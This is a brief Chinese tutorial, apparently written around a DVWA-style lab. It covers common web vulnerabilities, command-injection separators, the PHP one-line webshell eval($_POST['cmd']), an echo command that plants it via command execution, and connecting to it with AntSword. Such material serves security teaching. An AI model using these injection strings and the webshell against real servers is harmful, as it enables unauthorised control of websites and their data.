常见的网站漏洞有哪些？
SQL注入：泄露破坏数据库，数据库中可能有账号密码等敏感信息
命令执行：获取目标机器命令权限，执行非法命令，破坏或控制受害机
文件上传：上传后门病毒木马到网站中，破坏网站甚至系统
从命令执行漏洞到getshell
cmd1|cmd2:无论cmd1是否执行成功，cmd2将被执行
cmd1;cmd2:无论cmd1是否执行成功，cmd2将被执行
cmd1&cmd2:无论cmd1是否执行成功，cmd2将被执行
cmd1||cmd2:仅在cmd1执行失败时才执行cmd2
cmd1&&cmd2:仅在cmd1执行成功后，cmd2将被执行
写入网站后门-webshell
webshell是什么：webshell是以asp，php，jsp或者cgi等网页文件形式存在的一种命令执行环境，也可将其称做为一种网页后门。黑客在入侵一个网站后，通常会将asp或php后门文件与网站服务器web目录下正常的网页文件混在一起，以达到控制网站服务器的目的。
PHP一句话木马
<?php eval($_POST['cmd']);?>
/eval eval是php的语言构造器，作用是把字符串作为PHP代码执行
/$_POST['cmd'] 以POST请求方式接收请求参数cmd
1.上传到哪？ 常用命令：pwd dir /var/www/html/vulnerabilities/exec
2.怎么上传？ echo命令：echo“<?php eval(\$_POST['cmd']);?>" > 1.php 指定内容到1.php
3.怎么访问？ http://your_ip/vulnerabilities/exec/1.php
4.怎么使用木马？/ hackbar：浏览器插件，可以直接在浏览器中修改POST data
/webshell管理器：如蚁剑，菜刀都可以自动连接
蚁剑的使用方式
1.右键添加数据
2.添加数据
/url地址：webshell访问地址
/连接密码：webshell[ ] 包裹的字符串
3.连接webshell，控制网站